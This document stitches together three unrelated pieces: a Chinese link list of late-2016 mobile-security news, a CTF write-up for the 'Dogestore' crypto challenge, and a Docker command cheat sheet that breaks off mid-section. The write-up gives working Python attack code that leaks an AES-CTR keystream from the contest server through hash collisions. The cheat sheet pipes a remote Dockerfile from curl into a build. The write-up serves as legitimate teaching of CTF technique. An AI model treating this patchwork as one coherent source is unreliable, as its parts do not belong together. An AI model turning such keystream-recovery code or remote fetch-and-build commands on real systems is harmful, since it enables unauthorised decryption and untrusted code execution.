- 11.30 [安全联盟10-11月网购诈骗数据报告](https://www.anquan.org/news/2495)
- 11.30 [PluginPhantom: New Android Trojan Abuses “DroidPlugin” Framework](http://researchcenter.paloaltonetworks.com/2016/11/unit42-pluginphantom-new-android-trojan-abuses-droidplugin-framework)
新安卓木马PluginPhantom,窃取用户信息,包括:文件,位置信息,通讯录和Wi-Fi信息等。也可以拍照,截屏,录音,拦截和发送短信等,此外还可以记录键盘输入信息。
它通过滥用流行的开源框架“DroidPlugin”来逃避静态检测。
- 11.30 [数秒内盗取手机数据 就是这家以色列公司解锁了iPhone](http://www.aqniu.com/tools-tech/21362.html)
- [iOS & Mac OS X逆向工程资源汇总](https://pewpewthespells.com/re.html)
- 11.30 [如何破解TP link WR841N路由器无线网络(含演示视频)](http://bobao.360.cn/learning/detail/3238.html)
- 11.30 [网联上线,支付宝、微信有望可以相互转账了](http://mp.weixin.qq.com/s/c9jBNyHk0VFkYfoNpCu5qw)
- 0x11
- 12.1 [注意了,cURL的漏洞也不少](http://www.freebuf.com/vuls/121581.html)
- 12.1 [分析Airdroid中的多个漏洞](https://blog.zimperium.com/analysis-of-multiple-vulnerabilities-in-airdroid)
- 12.1 [赛门铁克发布2017年安全威胁趋势预测](http://netsecurity.51cto.com/art/201612/523530.htm)
- 12.1 [揭秘360手机助手未经用户同意,自动开启辅助功能的“黑科技”](http://www.freebuf.com/articles/terminal/121253.html)
- 12.2 [Dorothy2:一个开源的僵尸网络分析框架](http://www.freebuf.com/sectool/120560.html)
- 12.2 [Android: system_server中的代码载入绕过漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=955)
- 12.2 [WiFi信号干扰可以泄漏你的密码和敏感信息](http://www.freebuf.com/news/120128.html)
- 12.2 [A flaw allows to bypass the activation lock on iPhone and iPad](http://securityaffairs.co/wordpress/53971/hacking/bypass-apple-activation-lock.html)
- 12.3 [2017年安全行业八大预测](http://www.aqniu.com/news-views/21474.html)
- 12.3 [缓冲区溢出漏洞能够绕过iOS 10.1.1的激活锁](http://arstechnica.com/apple/2016/12/buffer-overflow-exploit-can-bypass-activation-lock-on-ipads-running-ios-10-1-1)
- 12.4 [一群极其注重隐私的人士,开发了一款超级安全的Android系统](http://www.freebuf.com/news/121538.html)
基于Tor网络的Android手机使用了CopperheadOS、Orbot和orWall,而开发人员设计这个原型的目的就是为了帮助用户保护自己的隐私信息,并且防止用户感染移动端的恶意软件。
- 12.5 [2016 年度 Volatility 插件大赏](https://volatility-labs.blogspot.jp/2016/12/results-from-2016-volatility-plugin.html)
- 12.5 [苹果iOS 10系统“激活锁”绕过漏洞,丢失保护功能形同虚设?](http://mp.weixin.qq.com/s/jE6jaMSBauTCjeZfHjmQQA)
- 12.6 [聊聊苹果的Bug - iOS 10 nano_free Crash](http://mp.weixin.qq.com/s/5iq7gmNfiQvfL-sMs7pF_A)
- 12.6 [New Flavor of Dirty COW Attack Discovered, Patched](http://blog.trendmicro.com/trendlabs-security-intelligence/new-flavor-dirty-cow-attack-discovered-patched/)
- 12.7 [年末盘点2016年最严重的7起DDoS攻击事件](http://www.freebuf.com/special/121838.html)
- 12.7 [Top Exploit Kit Activity Roundup - Fall 2016](http://www.zscaler.com/blogs/research/top-exploit-kit-activity-roundup-fall-2016)
- 12.8 [Mobile Ransomware: Pocket-Sized Badness](http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-ransomware-pocket-sized-badness/)
讲各种安卓勒索件的技术报告
- 12.8 [年度10大邮件安全事件出台 邮件成安全链最弱一环](http://bobao.360.cn/news/detail/3810.html)
- 12.8 [来自卡巴斯基的《2016 年勒索软件发展研究报告》](https://securelist.com/analysis/kaspersky-security-bulletin/76757/kaspersky-security-bulletin-2016-story-of-the-year/)
- 12.8 [Threat-Intelligence-Analyst](https://github.com/pandazheng/Threat-Intelligence-Analyst)
主要包括威胁情报,恶意样本分析,自动化python脚本,开源Malware代码收集,APT攻击安例相关
- 12.9 [12月安全补丁风险评估](http://appscan.360.cn/blog/?p=178)
- 12.9 [利用电商逻辑漏洞爆破信用卡CVV及有效期](http://bobao.360.cn/learning/detail/3276.html)
- 12.10 [京东数据疑似外泄:超过12个G,涉及数千万用户](http://mp.weixin.qq.com/s/UjzfmxsXJZFgqPRRoFqe8Q)
- 12.11 [银行木马新攻击场景:冒充波兰财务部邮件,诱使用户打开恶意附件](https://badcyber.com/banking-trojan-gmail-webinject-sms-message-and-malicious-apk-all-in-one-attack-scenario)
- 12.12 [支付宝新骗局:收到4万转账到手上7万却被骗光!](http://weibo.com/ttarticle/p/show?id=2309404051791166733134)
- 12.12 [网购多套路:盘点2016年度十大网购安全事件 切勿“对号入座”](http://www.leiphone.com/news/201612/Rs6Z9ADTQlLr6xnj.html)
- 12.12 [伯克利研究生是如何发现苹果设备超级间谍软件Pegasus的](http://www.freebuf.com/vuls/122285.html)
- 12.12 [伪装成Adobe Flash更新软件的银行木马](https://blog.gdata.de/2016/12/29380-betrugerisches-android-adobe-flash-update-ist-banking-trojaner)
通过电子邮件钓鱼,伪装成Adobe Flash的更新,假冒Adobe官网,诱导用户点击链接,下载安装银行木马程序。
- 12.12 Mirai变种中的DGA
[360开放数据DGA页面可免费下载,现支持29个家族](http://data.netlab.360.com/dga)
- 12.13 [利用同步回调机制攻击Android的系统服务和系统应用](https://www.inforsec.org/wp/?p=1593#more-1593)
SecComm系统服务是Android系统中的重要组件:它们将内核层的底层功能进行封装,并对上层的应用进程提供服务
- 12.13 [iOSSecAudit:一个iOS APP安全审计工具](http://www.freebuf.com/sectool/122512.html)
- 12.13 [国家电网App海量用户数据被倒卖至黑产](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.JjQqJH&articleid=656)
- 低端Android设备固件发现恶意程序(Android.DownLoader.473.origin)
12.13 [More Firmware Backdoor Found In Cheap Android Phones](http://thehackernews.com/2016/12/hacking-android-smartphone.html)
12.12 [Doctor Web discovers Trojans in firmware of well-known Android mobile devices](http://news.drweb.com/show/?i=10345&lng=en&c=5)
12.9 [Doctor Web discovers new version of Android.Loki Trojans that infects system libraries ](http://news.drweb.com/show/?i=10341&lng=en&c=5)
Dr.Web的研究人员从26款使用联发科平台的低端Android设备固件中发现木马Android.DownLoader.473.origin,
该木马会在用户设备上展示广告,安装用户不需要的应用,打开浏览器特定链接,拨打特定电话,等等。
- 12.13 [刷机教程:教你如何打造一台渗透测试手机](http://www.freebuf.com/articles/terminal/121430.html)
- 12.13 [WiFi万能钥匙原理与逆向分析(查询WiFi密码) ](http://blog.csdn.net/u011721501/article/details/53612617)
- 12.13 [最新盗窃手法:ETC里的钱竟被POS机隔空刷光](http://www.leiphone.com/news/201612/MduSJvFZQpaGwo9N.html)
- 12.13 [Comodo Threat Research Labs Warns Android Users of “Tordow v2.0” outbreak](https://blog.comodo.com/comodo-news/comodo-warns-android-users-of-tordow-v2-0-outbreak)
Tordow 2.0可以拨打电话,控制短信,下载安装程序,窃取登陆凭证,获取通讯录,加密文件,篡改银行数据,移除安全软件,重启动设备,像勒索件一样地工作。
它能搜集安卓或谷歌浏览器中保存的敏感信息,搜集设备各种数据,包括硬件、软件信息,操作系统,制造商,网络运营商,用户位置等。
- 12.14 [中国市场手机系统安全检测报告](http://www.aqniu.com/industry/21693.html)
- 12.14 [2016安卓手机漏洞年终盘点](http://bobao.360.cn/news/detail/3833.html)
- 12.14 [2016卡巴斯基安全公告年度故事——勒索革命](http://bobao.360.cn/news/detail/3831.html)
- 12.14 [双0DAY攻击:针对欧洲个人目标的APT攻击](https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe)
- 12.15 [APT 组织 Sofacy 使用 DealersChoice 漏洞利用平台继续发起攻击](http://researchcenter.paloaltonetworks.com/2016/12/unit42-let-ride-sofacy-groups-dealerschoice-attacks-continue/?adbsc=social68731476&adbid=809382533871697927&adbpl=tw&adbpr=4487645412)
- 12.15 [雅虎再次曝出数据泄露事件:涉10亿账户 有史以来最严重](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.3F1ajM&articleid=664)
- 12.15 [“史上最难抢票季”已开幕 抢票软件成勒索“利器”](http://www.aqniu.com/industry/21760.html)
- 12.16 [2016敲诈者病毒威胁形势分析报告发布(PC端)](http://bobao.360.cn/news/detail/3839.html)
- 12.16 [2016年全球十大网络安全事件盘点](http://bobao.360.cn/news/detail/3843.html)
- 12.16 [发现一款用于APT攻击,类似FinFisher的间谍软件](http://bobao.360.cn/news/detail/3836.html)
- 12.19 [安全牛:2016年网络安全大事记](http://www.aqniu.com/industry/21829.html)
- 12.19 [The banker that encrypted files(Faketoken)](https://securelist.com/blog/research/76913/the-banker-that-encrypted-files)
银行木马,启动后会请求设备管理员权限,获取权限后可获取短信、文件及通讯录信息,可发送短信和拨打电话。
会在其他应用之上显示钓鱼界面,以此来窃取用户信息。该木马同时还能加密用户SD卡中的文件。
- 12.19 [Fake Apps Take Advantage of Super Mario Run Release](http://blog.trendmicro.com/trendlabs-security-intelligence/fake-apps-take-advantage-mario-run-release)
两个虚假的Super Mario应用程序,程序名均为“Super Mario”,一个检出为ANDROIDOS_DOWNLOADER.CBTJ,一个检出为ANDROIDOS_DOWGIN.AXMD
- 12.20 [评选出的2016年的TOP 10黑客工具](http://resources.infosecinstitute.com/top-ten-hacking-tools-of-2016)
- 12.21 [你必须了解的漏洞利用缓解及对抗技术](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.QGpKRR&articleid=678)
- 12.21 [Android Doze机制与木马的绕过方式](http://blogs.360.cn/360mobile/2016/12/21/bypassing_doze)
- 12.21 [红包外挂那点事](http://www.freebuf.com/articles/terminal/123275.html)
- [McAfee 发布12月威胁报告](http://www.mcafee.com/us/resources/reports/rp-quarterly-threats-dec-2016.pdf#sf47386655)
- 12.21 [2016年手机移动面对的10大风险](http://www.techrepublic.com/article/the-top-10-mobile-risks-of-2016/)
- 12.21 [Android Telephony拒绝服务漏洞(CVE-2016-6763)分析](http://drops.wiki/index.php/2016/12/20/android-telephony/)
- 12.22 [iOS安全审计入门](http://www.freebuf.com/articles/terminal/123098.html)
- 12.22 [五大安全研究者必用的搜索引擎](http://www.freebuf.com/sectool/123503.html)
- 12.22 [Fancy Bear Hackers Breached Ukrainian Artillery Using Android Malware](https://www.crowdstrike.com/blog/danger-close-fancy-bear-tracking-ukrainian-field-artillery-units)
Fancy Bear组织使用一个使用感染的X-Agent,跨平台的远程访问工具包,来攻击乌克兰炮火系统的一个Android应用程序。
被用于攻击的包名为“Попр-Д30.apk” ,可以用来从受感染的设备中检索通信和位置数据。
- 12.22 [Fancy Bear Hackers Breached Ukrainian Artillery Using Android Malware](https://www.crowdstrike.com/blog/danger-close-fancy-bear-tracking-ukrainian-field-artillery-units)
俄国黑客组织奇幻熊(Fancy Bear),利用感染有X-Agent控件的某个重要安卓应用,入侵乌克兰炮兵部队的武器系统。
奇幻熊黑客将恶意软件植入应用安装包,以“Попр-Д30.apk”文件名成功打入社区内部,约有9000台安卓设备感染了含有恶意软件的安卓应用。
恶意软件将大量乌克兰火炮单位的位置信息等机密军事情报输送给俄军方。
- 12.23 [盘点2016年“最创新”的8种攻击方式](http://www.freebuf.com/articles/others-articles/123607.html)
- [APT 攻击目标之间的相关性与自主威胁研究](https://cyber.wtf/2016/12/15/the-kings-in-your-castle-part-5-apt-correlation-and-do-it-yourself-threat-research)
- 12.23 [7亿Android手机留后门,收集IMEI、短信和通话记录](http://netsecurity.51cto.com/art/201612/525931.htm)
- 12.23 [ScanPOS,通过Kronos传播的新型POS恶意软件](http://bobao.360.cn/learning/detail/3334.html)
- 12.23 [技术流花式“破解”支付宝AR红包](http://bobao.360.cn/learning/detail/3336.html)
- 12.25 [如何基于三叉戟漏洞为内核加入 tfp0 patch](https://siguza.github.io/cl0ver)
https://github.com/Siguza/cl0ver
- 12.26 [瑞星反诈骗安全报告](http://it.rising.com.cn/dongtai/18612.html)
- 12.26 [Mirai 总结—从源码到反汇编](http://paper.seebug.org/154/#0-tsina-1-58861-397232819ff9a47a7b7e80a40613cfe1)
- 12.26 [布谷鸟沙箱初体验](http://www.freebuf.com/articles/system/123816.html)
- 12.27 [2016年iOS公开可利用漏洞总结](https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.bfl3dq&articleid=687)
- 12.27 [移动平台流量黑产研究——色情播放器类恶意软件产业链](http://blogs.360.cn/360mobile/2016/12/27/porn_player_underground_industry)
- 12.27 [盘点2016年的那些骗局和漏洞](https://mp.weixin.qq.com/s/Ju71gq6rVUHfTNQ0FFIf1g)
- 12.27 [绿盟网络安全威胁12月月报](http://blog.nsfocus.net/network-security-threat-monthly-201612)
- 12.27 [国家网信办发布《国家网络空间安全战略》](http://www.cac.gov.cn/2016-12/27/c_1120195926.htm)
- 12.27 [七种方法绕过安卓手机锁屏](http://www.freebuf.com/articles/terminal/123862.html)
- 12.28 [《物联网安全白皮书》](http://toutiao.secjia.com/nsfocus-iot-security-whitepaper-ppt)
- 12.28 [2016年网络安全行业全景图(下半年)](http://www.aqniu.com/news-views/21984.html)
- 12.28 [Android木马Switcher 通过 DNS 劫持来感染路由器](https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club)
[译文](http://bobao.360.cn/learning/detail/3356.html)
木马Trojan.AndroidOS.Switcher不直接攻击用户,而是攻击无线路由器,在路由器的管理Web界面上执行暴力密码猜测攻击。
如果攻击成功,恶意软件会更改路由器设置中DNS服务器的地址,从而进行DNS劫持
- 12.28 [微信被恶意apk盗了绑定银行卡的钱被刷光](http://www.52pojie.cn/thread-565841-1-1.html)
微信被盗 http://tieba.baidu.com/p/4904398467?see_lz=1
- 12.28 [Mirai的对手:Leet僵尸网络发起高达650Gbps的DDOS攻击](http://bobao.360.cn/news/detail/3880.html)
- 12.28 [Google研究显示:Security Key的二步认证要优于智能手机的二步认证](https://jaq.alibaba.com/community/art/show?articleid=690)
- 12.28[物联网安全白皮书](http://toutiao.secjia.com/nsfocus-iot-security-whitepaper-ppt)
http://www.secjia.com/report/NSFOCUS-IoT-Security-Whitepaper.pdf
- 12.29 [剑与盾——移动游戏安全攻防研究](http://securitygossip.com/blog/2016/12/29/2016-12-29/)
- 12.29 [THREATPOST 2016 YEAR IN REVIEW](https://threatpost.com/threatpost-2016-year-in-review/122790)
- 12.29 [Doctor Web’s annual virus activity review](http://news.drweb.com/show/review/?lng=en&i=11093)
- 12.29 [Bug: crash Message application by MMS on iOS](https://vincedes3.com/crash-message-app-iphone)
[译文](http://bobao.360.cn/news/detail/3892.html)
恶意的MMS使ios的Messages应用程序崩溃,和之前的阿拉伯语的文本字符串导致崩溃类似
- 12.29 [Android恶意软件分析](http://bobao.360.cn/learning/detail/3353.html)
- 12.30 [Doctor Web’s annual virus activity review for mobile devices](http://news.drweb.com/show/review/?lng=en&i=11095)
- Android中热修复框架Robust原理解析并将框架代码从"闭源"变成"开源"
[上篇](http://mp.weixin.qq.com/s/qCfVUU2H8eZjK287oCQi-A)
[下篇](http://mp.weixin.qq.com/s/r2DY7Ps4BS7lsLVxb6GpqA)
- 12.31 [2016年数据泄露年度汇总](https://www.t00ls.net/articles-37542.html)
- 12.31 [黑客 Only_guest 亲身讲述的三个“非主流诈骗”故事](http://www.leiphone.com/news/201612/DnAGFCjIF5EDWsbt.html)
****
##关于
author: [drov_liu](none)
|
sec-knowleage
|
# Dogestore (crypto, 267p, 27 sovled)
In the task we get [server code](fragment.rs), [encrypted flag](encrypted_secret) and endpoint to connect to.
What the code does is pretty simple, even if you don't know Rust:
1. Read input bytes from user.
2. Decrypt the data using AES-CTR.
3. Deserialize the data by matching neighbouring bytes together in pairs, so for example [1,2,3,4,5,6] becomes [(1,2),(3,4),(5,6)].
4. Decode the data by treating the first byte in the pair as letter and second byte as number of repetitions of this letter to which 1 is added, thus for example pair ('A',3) becomes 'AAAA', then all those bytes are connected into a single vector.
5. Calculate sha3_256 hash over the resulting bytes.
6. Send calculated hash value to the user.
The main vulnerability here is quite obvious and simple to notice:
```
iv = get_iv();
openssl::symm::decrypt(
openssl::symm::Cipher::aes_256_ctr(),
&key,
Some(&iv),
data
)
```
AES in CTR mode does not use IV, but a counter instead.
Counter should not be repeating in predictable manner, and in no circumstances should be constant, like in our code.
This is because AES-CTR is a stream cipher, which generates keystream by AES encryption using provided key and counter values.
For given key and counter, it will generate exactly the same keystream every time.
Therefore in reality, what we have here is simply XOR of the data we send, with some constant keystream.
This means, that in order to decrypt the flag we basically need to leak this keystream from the server.
Initially we though that `res.extend(vec![letter; size as usize + 1].iter())` is vulnerable, because if `size` would be `255` and it's `uint8` then `size+1` would overflow to `0`, but unfortunately we have `size as usize` so it won't work.
After some brainstorming we figured we could try to generate hash collisions and leverage birthday attack idea.
Let's imagine we set all payload bytes to 0 and focus only on the first 4 bytes of the payload.
By setting those 4 bytes to random values we get some data `AxBy` where `A` and `B` are `letters` and `x` and `y` are counters by which those letters will be multiplied during `decode` step.
We can calculate hash of this input and save it as reference.
Now if we bitflip the counters, there is a chance that we get two new counters `v` and `z` such that `x+y == v+z`.
If we were lucky and we initially got `A == B` then such scenario will give a collision of the hashes, because the hashed string will have the same prefix `lettter * (x+y+1)` in both cases.
If we were not so lucky, we create new `AxBy` payload and try again.
It takes a while, but we can generate collisions in such way.
If this collision happens then we know the decrypted `A` and `B` were identical characters, so:
`payload[0]^KEY[0] == payload[2]^KEY[2]`
And we know `payload` bytes we sent, so we can transform this to:
`KEY[0]^KEY[2] == payload[0]^payload[2]`.
We can then shift right by 2 bytes, and calculate collision for `KEY[2]^KEY[4]` and so on.
If we can now guess the first KEY byte, we can recover all even KEY bytes.
The described algorithm is:
```python
def find(key_byte_number, get_result_fun=get_result):
payload = [0] * 110
attempts = 0
while True:
attempts += 1
if attempts % 5 == key_byte_number % 5:
print(key_byte_number, attempts)
payload[key_byte_number] = 0
payload[key_byte_number + 1] = random.randint(0, 255)
payload[key_byte_number + 2] = random.randint(0, 255)
payload[key_byte_number + 3] = random.randint(0, 255)
res = get_result_fun(payload)
for i in range(4):
pay2 = payload[:]
pay2[key_byte_number + 1] ^= 1 << i
pay2[key_byte_number + 3] ^= 1 << i
r2 = get_result_fun(pay2)
if res == r2:
print("KEY[%d] ^ KEY[%d] = %d" % (key_byte_number, key_byte_number + 2, payload[key_byte_number + 2]))
print(res, r2, payload, pay2)
return payload[key_byte_number + 2]
```
As usual, we would like to test this offline in some sanity test scenario, to verify it works:
```python
def sanity_test():
secret = "alamakotaa"
def decrypt(data):
return xor_string(secret, data)
def deserialize(decrypted):
return chunk(decrypted, 2)
def decode(secret):
return "".join([a * (ord(b) + 1) for a, b in secret])
def mimick_server(data):
import sha3
decrypted = decrypt(data)
secret = deserialize(decrypted)
expanded = decode(secret)
return sha3.sha3_256(expanded).digest()
def fake_get_result(data):
payload_bytes = "".join(map(chr, data))
return base64.b64encode(mimick_server(payload_bytes))
flag = xor_string("CTF{XXXXX}", secret)
found = []
for i in range(0, len(secret) - 2, 2):
found.append(find(i, fake_get_result))
print(found)
```
We mimick the server code in python, replacing AES with simple xor, and instantly we get all the collisions and the result: `[0, 0, 14, 14]`.
Which is true since `'a'^'a' == 0` and `'a'^'o' == 14`.
We can therefore run this code against the real server to recover the even KEY bytes, we simply need to use a different `get_result` function:
```python
from crypto_commons.netcat.netcat_commons import nc, send
def get_result(payload):
url = "dogestore.ctfcompetition.com"
port = 1337
while True:
try:
s = nc(url, port)
payload_bytes = "".join(map(chr, payload))
send(s, payload_bytes)
result = s.recv(9999)
return result
except:
pass
```
And after some long while we recover: `[191, 119, 132, 188, 171, 242, 33, 15, 50, 0, 32, 130, 110, 51, 57, 36, 108, 223, 132, 48, 58, 47, 190, 144, 54, 115, 250, 91, 13, 16, 25, 193, 178, 26, 115, 140, 231, 65, 99, 180, 221, 121, 92, 206, 16, 64, 152, 181, 231, 228, 136, 149, 177, 237, 0]`
Now we need to guess the first KEY character.
We can actually brute-force it locally, because half of the keystream should already recover some reasonable flag part from the payload we have.
We can therefore simply check every possible value for `KEY[0]`, fill odd bytes with `\0` and decrypt the flag:
```python
def brute_first():
found = [191, 119, 132, 188, 171, 242, 33, 15, 50, 0, 32, 130, 110, 51, 57, 36, 108, 223, 132, 48, 58, 47, 190, 144, 54, 115, 250, 91, 13, 16, 25, 193, 178,26,115, 140, 231, 65, 99, 180, 221, 121, 92, 206, 16, 64, 152, 181, 231, 228, 136, 149, 177, 237, 0]
with codecs.open("encrypted_secret") as flag_file:
flag = flag_file.read()
for first in range(256):
real_even_keystream = [chr(first)]
for c in found:
real_even_keystream.append(chr(ord(real_even_keystream[-1]) ^ c))
with_zeros = reduce(lambda x, y: x + y, map(list, zip(real_even_keystream, ['0'] * len(found))))
xored = xor_string(flag, "".join(with_zeros))
even_chars = "".join([xored[i] for i in range(0, len(xored), 2)])
print(first, even_chars)
brute_first()
```
We get a nice string:
```
(174, 'HFHFHDHDHDSAaACTF{SADASDSDCTF{L_E_R_OY_JENKINS}ASDCTF{\n')
```
This looks like a good one, so the initial KEY byte is 174.
Now we can proceed to recover odd bytes of the keystream.
The idea here is pretty simple:
1. Let's pre-calculate sha3_256 hashes for strings `A`, `AA`, `AAA`,... and so on, for very large lengths, specifically for 55*256, because this is the longest string we can get in the task to hash, because counter 256 for each letter. We store those hashes in a list in order.
2. Let's set all letters to the same one, for example 'A'. We can do that since we already know the keystream for all of them, and we can simply set value `'A'^KEY[i]` for `i-th` byte and once it's xored with `KEY[i]` during decryption it will become `A`.
3. Let's calculate reference hash for the letters `A` and original counters. We can now check where on the hash list this value is, and therefore how many `A` it has.
4. Now let's XOR the first counter with `1<<1`, basically flipping the lowest bit, and calculate new hash. We can now look for index of this hash in our list, and this will tell us how many `A` it has. If it's less than initially, then we flipped the bit from 1 to 0, and if it's more then we flipped from 0 to 1, either way we know the original bit value. We can now do the same for `1<<2` and other bits, to recover the whole counter value.
5. We proceed like this for next counters, until we recover all of them.
In code it looks like this:
```python
def recover_counters(keybytes, get_result_fun=get_result):
hashes = []
with codecs.open("hashes", 'r') as hashes_file:
for line in hashes_file:
hashes.append(line[:-1])
# prepare payload with 'A' on even positions
payload = [0] * (len(keybytes) * 2)
for i in range(0, len(keybytes) * 2, 2):
payload[i] = ord(xor_string(keybytes[i / 2], 'A'))
counter_bytes = []
for counter in range(1, len(keybytes) * 2, 2):
print('recovering counter', counter)
reference_hash = get_result_fun(payload)
reference_number_of_A = hashes.index(reference_hash)
bits = []
for bit in range(8):
new_payload = payload[:]
new_payload[counter] ^= 1 << bit
new_hash = get_result_fun(new_payload)
new_A_number = hashes.index(new_hash)
if new_A_number > reference_number_of_A: # we set a bit to 1 so it was 0
bits.append('0')
else:
bits.append('1')
original_counter = int("".join(bits[::-1]), 2)
print('original counter', original_counter)
counter_bytes.append(original_counter)
return map(chr, counter_bytes)
```
We can now extend our sanity test to include this code:
```python
def sanity_test():
secret = "alamakotaa"
def decrypt(data):
return xor_string(secret, data)
def deserialize(decrypted):
return chunk(decrypted, 2)
def decode(secret):
return "".join([a * (ord(b) + 1) for a, b in secret])
def mimick_server(data):
import sha3
decrypted = decrypt(data)
secret = deserialize(decrypted)
expanded = decode(secret)
return sha3.sha3_256(expanded).digest()
def fake_get_result(data):
payload_bytes = "".join(map(chr, data))
return mimick_server(payload_bytes).encode("base64")
flag = xor_string("CTF{XXXXX}", secret)
found = []
for i in range(0, len(secret) - 2, 2):
found.append(find(i, fake_get_result))
print(found)
real_found = [chr(ord(flag[0]) ^ ord('C'))]
for c in found:
real_found.append(chr(ord(real_found[-1]) ^ c))
print(real_found)
counters = recover_counters(real_found, fake_get_result)
print(counters)
print(reduce(lambda x, y: x + y, map(lambda x: x[0] + x[1], zip(real_found, counters))))
```
And once we run this we get the `secret` value back, so it all works.
We can therefore plug the counter recovery to the real data:
```python
def recover_from_letters():
found = [191, 119, 132, 188, 171, 242, 33, 15, 50, 0, 32, 130, 110, 51, 57, 36, 108, 223, 132, 48, 58, 47, 190, 144, 54, 115, 250, 91, 13, 16, 25, 193, 178,
26, 115, 140, 231, 65, 99, 180, 221, 121, 92, 206, 16, 64, 152, 181, 231, 228, 136, 149, 177, 237, 0]
with codecs.open("encrypted_secret") as flag_file:
flag = flag_file.read()
real_found = [chr(174)]
for c in found:
real_found.append(chr(ord(real_found[-1]) ^ c))
print(real_found)
counters = recover_counters(real_found)
print(counters)
keystream = reduce(lambda x, y: x + y, map(lambda x: x[0] + x[1], zip(real_found, counters)))
print(keystream)
print(decode(deserialize(xor_string(flag, keystream))))
recover_from_letters()
```
We use also the `decode` and `deserialize`, just as the server does when decrypting the flag.
After a while we finally get: `CTF{LLLLLLLLL___EEEEE____RRRRRRRRRRR_OYYYYYYYYYY_JEEEEEEENKKKINNSSS}`
|
sec-knowleage
|
---
title: Docker
date: 2020-12-30 10:55:24
background: bg-[#488fdf]
tags:
- container
- virtual
categories:
- Programming
intro: |
This is a quick reference cheat sheet for [Docker](https://docs.docker.com/get-started/). And you can find the most common Docker commands here.
plugins:
- copyCode
---
Getting Started {.cols-2}
---------------
### Getting started
Create and run a container in background
```shell script
$ docker run -d -p 80:80 docker/getting-started
```
----
- `-d` - Run the container in detached mode
- `-p 80:80` - Map port 80 to port 80 in the container
- `docker/getting-started` - The image to use
{.marker-none}
Create and run a container in foreground
```shell script
$ docker run -it -p 8001:8080 --name my-nginx nginx
```
----
- `-it` - Interactive bash mode
- `-p 8001:8080` - Map port 8001 to port 8080 in the container
- `--name my-nginx` - Specify a name
- `nginx` - The image to use
{.marker-none}
### General commands
| Example | Description |
|-------------------------------------|--------------------------------------------------|
| `docker ps` | List running containers |
| `docker ps -a` | List all containers |
| `docker ps -s` | List running containers<br>_(with CPU / memory)_ |
| `docker images` | List all images |
| `docker exec -it <container> bash` | Connecting to container |
| `docker logs <container>` | Shows container's console log |
| `docker stop <container>` | Stop a container |
| `docker restart <container>` | Restart a container |
| `docker rm <container>` | Remove a container |
| `docker port <container>` | Shows container's port mapping |
| `docker top <container>` | List processes |
| `docker kill <container>` | Kill a container |
Parameter `<container>` can be container id or name
Docker Containers {.cols-2}
----------
### Starting & Stopping
| Description | Example |
|-------------------------------|-------------------------------------|
| `docker start my-nginx` | Starting |
| `docker stop my-nginx` | Stopping |
| `docker restart my-nginx` | Restarting |
| `docker pause my-nginx` | Pausing |
| `docker unpause my-nginx` | Unpausing |
| `docker wait my-nginx` | Blocking a Container |
| `docker kill my-nginx` | Sending a SIGKILL |
| `docker attach my-nginx` | Connecting to an Existing Container |
### Information
| Example | Description |
|-------------------------------|----------------------------------------|
| `docker ps` | List running containers |
| `docker ps -a` | List all containers |
| `docker logs my-nginx` | Container Logs |
| `docker inspect my-nginx` | Inspecting Containers |
| `docker events my-nginx` | Containers Events |
| `docker port my-nginx` | Public Ports |
| `docker top my-nginx` | Running Processes |
| `docker stats my-nginx` | Container Resource Usage |
| `docker diff my-nginx` | Lists the changes made to a container. |
### Creating
```yaml
docker create [options] IMAGE
-a, --attach # attach stdout/err
-i, --interactive # attach stdin (interactive)
-t, --tty # pseudo-tty
--name NAME # name your image
-p, --publish 5000:5000 # port map (host:container)
--expose 5432 # expose a port to containers
-P, --publish-all # publish all ports
--link container:alias # linking
-v, --volume `pwd`:/app # mount (absolute paths needed)
-e, --env NAME=hello # env vars
```
#### Example
```shell script
$ docker create --name my_redis --expose 6379 redis:3.0.2
```
### Manipulating
Renaming a Container
```shell script
docker rename my-nginx my-nginx
```
Removing a Container
```shell script
docker rm my-nginx
```
Updating a Container
```shell script
docker update --cpu-shares 512 -m 300M my-nginx
```
Docker Images {.cols-2}
------
### Manipulating
| `Example` | Description |
|------------------------------------|---------------------------------|
| `docker images` | Listing images |
| `docker rmi nginx` | Removing an image |
| `docker load < ubuntu.tar.gz` | Loading a tarred repository |
| `docker load --input ubuntu.tar` | Loading a tarred repository |
| `docker save busybox > ubuntu.tar` | Save an image to a tar archive |
| `docker history` | Showing the history of an image |
| `docker commit nginx` | Save a container as an image. |
| `docker tag nginx eon01/nginx` | Tagging an image |
| `docker push eon01/nginx` | Pushing an image |
### Building Images
```shell script
$ docker build .
$ docker build github.com/creack/docker-firefox
$ docker build - < Dockerfile
$ docker build - < context.tar.gz
$ docker build -t eon/my-nginx .
$ docker build -f myOtherDockerfile .
$ curl example.com/remote/Dockerfile | docker build -f - .
```
Docker Networking {.cols-2}
----------
### Manipulating
Removing a network
```shell script
docker network rm MyOverlayNetwork
```
Listing networks
```shell script
docker network ls
```
Getting information about a network
```shell script
docker network inspect MyOverlayNetwork
```
Connecting a running container to a network
```shell script
docker network connect MyOverlayNetwork nginx
```
Connecting a container to a network when it starts
```shell script
docker run -it -d --network=MyOverlayNetwork nginx
```
Disconnecting a container from a network
```shell script
docker network disconnect MyOverlayNetwork nginx
```
### Creating Networks
```shell script
docker network create -d overlay MyOverlayNetwork
docker network create -d bridge MyBridgeNetwork
docker network create -d overlay \
--subnet=192.168.0.0/16 \
--subnet=192.170.0.0/16 \
--gateway=192.168.0.100 \
--gateway=192.170.0.100 \
--ip-range=192.168.1.0/24 \
--aux-address="my-router=192.168.1.5" \
--aux-address="my-switch=192.168.1.6" \
--aux-address="my-printer=192.170.1.5" \
--aux-address="my-nas=192.170.1.6" \
MyOverlayNetwork
```
Clean Up {.cols-2}
-------------
### Clean All
Cleans up dangling images, containers, volumes, and networks (ie, not associated with a container)
```shell
docker system prune
```
-------
Additionally, remove any stopped containers and all unused images (not just dangling images)
```shell
docker system prune -a
```
### Containers
Stop all running containers
```shell
docker stop $(docker ps -a -q)
```
Delete stopped containers
```shell
docker container prune
```
### Images
Remove all dangling (not tagged and is not associated with a container) images:
